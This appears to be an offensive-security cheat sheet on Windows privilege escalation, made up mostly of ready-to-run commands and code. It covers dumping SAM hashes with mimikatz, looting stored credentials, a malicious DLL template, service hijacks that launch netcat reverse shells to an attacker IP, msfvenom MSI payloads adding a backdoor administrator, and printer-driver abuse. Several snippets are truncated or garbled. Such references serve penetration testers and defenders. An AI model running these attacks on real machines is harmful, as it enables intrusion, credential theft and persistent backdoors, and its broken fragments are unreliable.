Skip to content

Windows - Privilege Escalation



Windows Version and Configuration

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Extract patchs and updates

wmic qfe


wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

List all env variables

Get-ChildItem Env: | ft Key,Value

List all drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

User Enumeration

Get current username

echo %USERNAME% || whoami

List user privilege

whoami /priv
whoami /groups

List all users

net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

List logon requirements; useable for bruteforcing

```powershell$env:usernadsc net accounts

Get details about a user (i.e. administrator, admin, current user)

net user administrator
net user admin
net user %USERNAME%

List all local groups

net localgroup
Get-LocalGroup | ft Name

Get details about a group (i.e. administrators)

net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource

Get Domain Controllers

nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

Network Enumeration

List all network interfaces, IP, and DNS.

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

List current routing table

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

List the ARP table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

List all current connections

netstat -ano

List all network shares

net share
powershell Find-DomainShare -ComputerDomain domain.local

SNMP Configuration

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Antivirus Enumeration

Enumerate antivirus on a box with WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

Default Writeable Folders


EoP - Looting for passwords

SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

# Usually %SYSTEMROOT% = C:\Windows

Generate a hash file for John using pwdump or samdump2.

pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt

Either crack it with john -format=NT /root/sam.txt, hashcat or use Pass-The-Hash.


CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user

Check for the vulnerability using icacls

C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
           BUILTIN\Users:(I)(RX)    <-- this is wrong - regular users should not have read access!

Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.

mimikatz> token::whoami /full

# List shadow copies available
mimikatz> misc::shadowcopies

# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY

LAPS Settings

Extract HKLM\Software\Policies\Microsoft Services\AdmPwd from Windows Registry.

  • LAPS Enabled: AdmPwdEnabled
  • LAPS Admin Account Name: AdminAccountName
  • LAPS Password Complexity: PasswordComplexity
  • LAPS Password Length: PasswordLength
  • LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txt
findstr /spin "password" *.*

Also search in remote places such as SMB Shares and SharePoint:

  • Search passwords in SharePoint: nheiniger/SnaffPoint (must be compiled first, for referencing issue see:
# First, retrieve a token
## Method 1: using SnaffPoint binary
$token = (.\GetBearerToken.exe
## Method 2: using AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Tenant "" -Resource "")

# Second, search on Sharepoint
## Method 1: using search strings in ./presets dir
.\SnaffPoint.exe -u "" -t $token
## Method 2: using search string in command line
### -l uses FQL search, see:
.\SnaffPoint.exe -u "" -t $token -l -q "filename:.config"

Search for a file with a certain filename

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Search the registry for key names and passwords

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" 
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Passwords in unattend.xml

Location of the unattend.xml files.


Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul.

Example content

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">

      <LocalAccount wcm:action="add">

Unattend credentials are stored in base64 and can be decoded manually with base64.

$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo="  | base64 -d 

The Metasploit module post/windows/gather/enum_unattend looks for these files.

IIS Web config

Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Other files

%WINDIR%\repair\software, %WINDIR%\repair\security
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b

Wifi passwords


netsh wlan show profile

Get Cleartext Pass

netsh wlan show profile <SSID> key=clear

Oneliner method to extract wifi passwords from all the access point.

cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

Sticky Notes passwords

The sticky notes app stores it's content in a sqlite db located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u\adm-arvanaghi -p s3cr3tP@ss

Passwords stored in Key Manager

⚠ This software will display its output in a GUI

rundll32 keymgr,KRShowKeyMgr

Powershell History

Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle SaveNothing.

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Powershell Transcript


Password in Alternate Data Stream

PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag

EoP - Processes Enumeration and Tasks

  • What processes are running?

    tasklist /v
    net start
    sc query
    Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

  • Which processes are running as "system"

    tasklist /v /fi "username eq system"

  • Do you have powershell magic?

    REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion

  • List installed programs

    Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
    Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

  • List services

    net start
    wmic service list brief
    tasklist /SVC

  • Enumerate scheduled tasks

    schtasks /query /fo LIST 2>nul | findstr TaskName
    schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
    Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

  • Startup tasks

    wmic startup get caption,command
    reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
    dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

EoP - Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations: - Orphaned installs, not installed anymore but still exist in startup - DLL Hijacking

# find missing DLL 
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"

# compile a malicious dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"

# content of windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
    return TRUE;

  • PATH directories with weak permissions
    $ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
    $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
    $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
    FOR /F %i in (Servicenames.txt) DO echo %i
    type Servicenames.txt
    FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
    FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions

Note to check file permissions you can use cacls and icacls

icacls (Windows Vista +)
cacls (Windows XP)

You are looking for BUILTIN\Users:(F)(Full access), BUILTIN\Users:(M)(Modify access) or BUILTIN\Users:(W)(Write-only access) in the output.

Example with Windows 10 - CVE-2019-1322 UsoSvc

Prerequisite: Service account

PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd /C C:\Users\nc.exe 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\mssql-svc\Desktop\nc.exe 4444 -e cmd.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

PS C:\Windows\system32> sc.exe start UsoSvc

Example with Windows XP SP1 - upnphost

# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost

If it fails because of a missing dependency, try the following commands.

sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost

sc config upnphost depend=""

Using accesschk from Sysinternals or accesschk-XP.exe -

$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW upnphost

$ accesschk.exe -ucqv upnphost
  RW BUILTIN\Administrators
  RW NT AUTHORITY\Authenticated Users
  RW BUILTIN\Power Users

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>

EoP - Windows Subsystem for Linux (WSL)

Technique borrowed from Warlockobama's tweet

With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ .exe --default-user root. Now start your bind shell or reverse.

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami

Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Alternatively you can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

EoP - Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
  • Metasploit exploit : exploit/windows/local/trusted_service_path
  • PowerUp exploit
    # find the vulnerable application
    C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString(''); Invoke-AllChecks"
    [*] Checking for unquoted service paths...
    ServiceName   : BBSvc
    Path          : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
    StartName     : LocalSystem
    AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
    # automatic exploit
    Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 4444 -e cmd.exe"


For C:\Program Files\something\legit.exe, Windows will try the following paths first: - C:\Program.exe - C:\Program Files.exe

EoP - $PATH Interception

Requirements: - PATH contains a writeable folder with low privileges. - The writeable folder is before the folder that contains the legitimate binary.


# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32

# See permissions of the target folder
icacls.exe "C:\Program Files\nodejs\"

# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"

Because (in this example) "C:\Program Files\nodejs\" is before "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.

EoP - Named Pipes

  1. Find named pipes: [System.IO.Directory]::GetFiles("\\.\pipe\")
  2. Check named pipes DACL: pipesec.exe <named_pipe>
  3. Reverse engineering software
  4. Send data throught the named pipe : program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe

EoP - Kernel Exploitation

List of exploits kernel :

#Security Bulletin   #KB     #Description    #Operating System
  • MS17-017  [KB4013081]  [GDI Palette Objects Local Privilege Escalation]  (windows 7/8)
  • CVE-2017-8464  [LNK Remote Code Execution Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
  • CVE-2017-0213  [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
  • CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
  • CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
  • MS17-010  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP)
  • MS16-135  [KB3199135]  [Windows Kernel Mode Drivers]  (2016)
  • MS16-111  [KB3186973]  [kernel api]  (Windows 10 10586 (32/64)/8.1)
  • MS16-098  [KB3178466]  [Kernel Driver]  (Win 8.1)
  • MS16-075  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012)
  • MS16-034  [KB3143145]  [Kernel Driver]  (2008/7/8/10/2012)
  • MS16-032  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012)
  • MS16-016  [KB3136041]  [WebDAV]  (2008/Vista/7)
  • MS16-014  [K3134228]  [remote code execution]  (2008/Vista/7)
  • MS03-026  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003)

To cross compile a program from Kali, use the following command.

Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c

EoP - Microsoft Windows Installer


Using the reg query command, you can check the status of the AlwaysInstallElevated registry key for both the user and the machine. If both queries return a value of 0x1, then AlwaysInstallElevated is enabled for both user and machine, indicating the system is vulnerable.

  • Shell command
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • PowerShell command
    Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
    Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer

Then create an MSI package and install it.

$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi

Technique also available in : * Metasploit : exploit/windows/local/always_install_elevated * PowerUp.ps1 : Get-RegistryAlwaysInstallElevated, Write-UserAddMSI


Custom Actions in MSI allow developers to specify scripts or executables to be run at various points during an installation

  • mgeeky/msidump - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.
  • activescott/lessmsi - A tool to view and extract the contents of an Windows Installer (.msi) file.
  • mandiant/msi-search - This tool simplifies the task for red team operators and security teams to identify which MSI files correspond to which software and enables them to download the relevant file.

Enumerate products on the machine

wmic product get identifyingnumber,name,vendor,version

Execute the repair process with the /fa parameter to trigger the CustomActions. We can use both IdentifyingNumber {E0F1535A-8414-5EF1-A1DD-E17EDCDC63F1} or path to the installer c:\windows\installer\XXXXXXX.msi. The repair will run with the NT SYSTEM account.

$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "PRODUCTNAME"
$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"

Common mistakes in MSI installers:

  • Missing quiet parameters: it will spawn conhost.exe as NT SYSTEM. Use [CTRL]+[A] to select some text in it, it will pause the execution.
    • conhost -> properties -> "legacy console mode" Link -> Internet Explorer -> CTRL+O –> cmd.exe
  • GUI with direct actions: open a URL and start the browser then use the same scenario.
  • Binaries/Scripts loaded from user writable paths: you might need to win the race condition.
  • DLL hijacking/search order abusing
  • PowerShell -NoProfile missing: Add custom commands into your profile
    new-item -Path $PROFILE -Type file -Force
    echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE

EoP - Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"

EoP - Evaluating Vulnerable Drivers

Look for vuln drivers loaded, we often don't spend enough time looking at this:

  • Living Off The Land Drivers is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats.
  • Native binary: DriverQuery.exe
    PS C:\Users\Swissky> driverquery.exe /fo table /si
    Module Name  Display Name           Driver Type   Link Date
    ============ ====================== ============= ======================
    1394ohci     1394 OHCI Compliant Ho Kernel        12/10/2006 4:44:38 PM
    3ware        3ware                  Kernel        5/18/2015 6:28:03 PM
    ACPI         Microsoft ACPI Driver  Kernel        12/9/1975 6:17:08 AM
    AcpiDev      ACPI Devices driver    Kernel        12/7/1993 6:22:19 AM
    acpiex       Microsoft ACPIEx Drive Kernel        3/1/2087 8:53:50 AM
    acpipagr     ACPI Processor Aggrega Kernel        1/24/2081 8:36:36 AM
    AcpiPmi      ACPI Power Meter Drive Kernel        11/19/2006 9:20:15 PM
    acpitime     ACPI Wake Alarm Driver Kernel        2/9/1974 7:10:30 AM
    ADP80XX      ADP80XX                Kernel        4/9/2015 4:49:48 PM
  • matterpreter/OffensiveCSharp/DriverQuery
    PS C:\Users\Swissky> DriverQuery.exe --no-msft
    [+] Enumerating driver services...
    [+] Checking file signatures...
    Citrix USB Filter Driver
        Service Name: ctxusbm
        Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
        Creation Time (UTC): 17/05/2018 01:20:50
        Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
        Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US

EoP - Printers

Universal Printer

Create a Printer

$printerName     = 'Universal Priv Printer'
$system32        = $env:systemroot + '\system32'
$drivers         = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName

Copy-Item -Force -Path ($system32 + '\mscms.dll')             -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll'   -Destination ($drivers  + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers  + '\W32X86\3\mimispool.dll')

Add-PrinterDriver -Name       'Generic / Text Only'
Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared

New-Item         -Path ($RegStartPrinter + '\CopyFiles')        | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Directory' -PropertyType 'String'      -Value 'x64\3'           | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String'      -Value 'W32X86\3'        | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Mango')  | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Directory' -PropertyType 'String'      -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Files'     -PropertyType 'MultiString' -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Module'    -PropertyType 'String'      -Value 'mimispool.dll'   | Out-Null

Execute the driver

$serverName  = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName


git clone
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
PS C:\target> $serverName  = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName

Bring Your Own Vulnerability

Concealed Position :

cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE

EoP - Runas

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator

Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"

Using runas with a provided set of credential.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)

EoP - Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.

# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows

# List shadow copies using diskshadow
diskshadow list shadows all

# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

EoP - From local administrator to NT SYSTEM

PsExec.exe -i -s cmd.exe

EoP - Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (and also Libraries) :

The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.

A LOLBin/Lib/Script must:

  • Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra "unexpected" functionality. It is not interesting to document intended use cases. Exceptions are application whitelisting bypasses
  • Have functionality that would be useful to an APT or red team
wmic.exe process call create calc
regsvr32 /s /n /u /i: scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml

EoP - Impersonation Privileges

Full privileges cheatsheet at, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.

Privilege Impact Tool Execution path Remarks
SeAssignPrimaryToken Admin 3rd party tool "It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe" Thank you Aurélien Chalot for the update. I will try to re-phrase it to something more recipe-like soon.
SeBackup Threat Built-in commands Read sensitve files with robocopy /b - May be more interesting if you can read %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (and robocopy) is not helpful when it comes to open files.

- Robocopy requires both SeBackup and SeRestore to work with /b parameter.
SeCreateToken Admin 3rd party tool Create arbitrary token including local admin rights with NtCreateToken.
SeDebug Admin PowerShell Duplicate the lsass.exe token. Script to be found at FuzzySecurity
SeLoadDriver Admin 3rd party tool 1. Load buggy kernel driver such as szkg64.sys or capcom.sys
2. Exploit the driver vulnerability

Alternatively, the privilege may be used to unload security-related drivers with ftlMC builtin command. i.e.: fltMC sysmondrv
1. The szkg64 vulnerability is listed as CVE-2018-15732
2. The szkg64 exploit code was created by Parvez Anwar
SeRestore Admin PowerShell 1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with Enable-SeRestorePrivilege).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U
Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.
SeTakeOwnership Admin Built-in commands 1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Rename cmd.exe to utilman.exe
4. Lock the console and press Win+U
Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.
SeTcb Admin 3rd party tool Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified.

Restore A Service Account's Privileges

This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.


[+] Started dummy thread with id 9976
